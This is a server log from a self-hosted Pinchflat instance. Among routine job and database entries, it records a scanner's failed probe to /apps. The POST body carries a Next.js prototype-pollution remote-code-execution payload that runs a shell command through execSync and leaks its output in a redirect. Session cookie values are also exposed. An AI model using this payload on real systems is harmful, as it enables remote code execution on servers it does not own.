{"source":"oban","duration":2113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.157 [info] {"source":"oban","duration":5879,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:10.692 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:40.699 [info] {"source":"oban","duration":5576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.170 [info] {"source":"oban","duration":11282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:10.701 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:40.703 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.176 [info] {"source":"oban","duration":5264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:10.705 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:14.324 [info] GET / 19:55:14.325 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:55:14.326 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=685.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:14.327 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=468.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:55:14.328 [debug] QUERY OK source="sources" db=0.5ms idle=469.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:55:14.332 [debug] QUERY OK source="media_items" db=3.4ms idle=470.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:55:14.814 [debug] QUERY OK source="media_items" db=481.7ms queue=0.1ms idle=474.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:55:14.818 [debug] QUERY OK source="settings" db=0.5ms decode=0.2ms queue=0.1ms idle=489.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:14.819 [debug] QUERY OK source="settings" db=0.2ms idle=490.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:14.820 [debug] QUERY OK source="settings" db=0.9ms idle=487.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:14.824 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=180.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:55:14.829 [debug] QUERY OK source="media_items" db=0.4ms idle=14.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:55:14.836 [debug] QUERY OK source="media_items" db=6.6ms idle=11.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:55:14.837 [debug] QUERY OK source="sources" db=0.3ms idle=17.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 19:55:14.844 [debug] QUERY OK source="media_items" db=1.7ms idle=21.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:55:14.846 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=20.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:55:14.849 [info] Sent 200 in 525ms 19:55:15.110 [info] HEAD /apps 19:55:15.117 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=286.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:15.117 [debug] QUERY OK source="settings" db=0.4ms idle=281.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:15.120 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:55:15.124 [error] #PID<0.10939.0> running PinchflatWeb.Endpoint (connection #PID<0.10937.0>, stream id 2) terminated Server: rutube.spluft.ru:80 (http) Request: HEAD /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 39846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY", "host" => "rutube.spluft.ru", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "via" => "1.1 Caddy", "x-forwarded-for" => "3.87.226.66", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.10939.0>, params: %{}, path_info: ["apps"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY"}, {"host", "rutube.spluft.ru"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "3.87.226.66"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-aX8dlkqIpCJ0AADKE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 39846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY", "host" => "rutube.spluft.ru", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "via" => "1.1 Caddy", "x-forwarded-for" => "3.87.226.66", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 39846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY", "host" => "rutube.spluft.ru", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "via" => "1.1 Caddy", "x-forwarded-for" => "3.87.226.66", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz. (truncated) 19:55:15.245 [info] POST /apps 19:55:15.257 [debug] QUERY OK source="settings" db=2.5ms idle=417.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:15.260 [debug] QUERY OK source="settings" db=1.3ms queue=0.6ms idle=414.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:55:15.261 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:55:15.262 [error] #PID<0.10940.0> running PinchflatWeb.Endpoint (connection #PID<0.10937.0>, stream id 3) terminated Server: rutube.spluft.ru:80 (http) Request: POST /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 39846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY", "host" => "rutube.spluft.ru", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "via" => "1.1 Caddy", "x-forwarded-for" => "3.87.226.66", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "POST", body_length: 753, path_info: :undefined, qs: "", streamid: 3, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY" }, halted: false, host: "rutube.spluft.ru", method: "POST", owner: #PID<0.10940.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, path_info: ["apps"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "753"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY"}, {"host", "rutube.spluft.ru"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "3.87.226.66"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-aX894o9CRwiQAADKk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 39846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYV21sQTR0NTFyNGE5eFFQZVFFXzNCOUFz._QGiq4KrPXMZGoLB1-VNhtlDtwGhgougt2WHbLz-0aY", "host" => "rutube.spluft.ru", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "via" => "1.1 Caddy", "x-forwarded-for" => "3.87.226.66", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "POST", body_length: 753, path_info: :undefined, qs: "", streamid: 3, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10937.0>, por (truncated) 19:55:40.707 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.180 [info] {"source":"oban","duration":3064,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:10.709 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:40.712 [info] {"source":"oban","duration":2035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.185 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:10.714 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:40.716 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.196 [info] {"source":"oban","duration":1751,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:10.718 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:40.720 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.205 [info] {"source":"oban","duration":4720,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:10.725 [info] {"source":"oban","duration":2206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:40.727 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.208 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:10.729 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:40.731 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.209 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:10.733 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:40.735 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.211 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:10.737 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:40.741 [info] {"source":"oban","duration":3466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.217 [info] {"source":"oban","duration":5160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:10.743 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:40.746 [info] {"source":"oban","duration":2177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 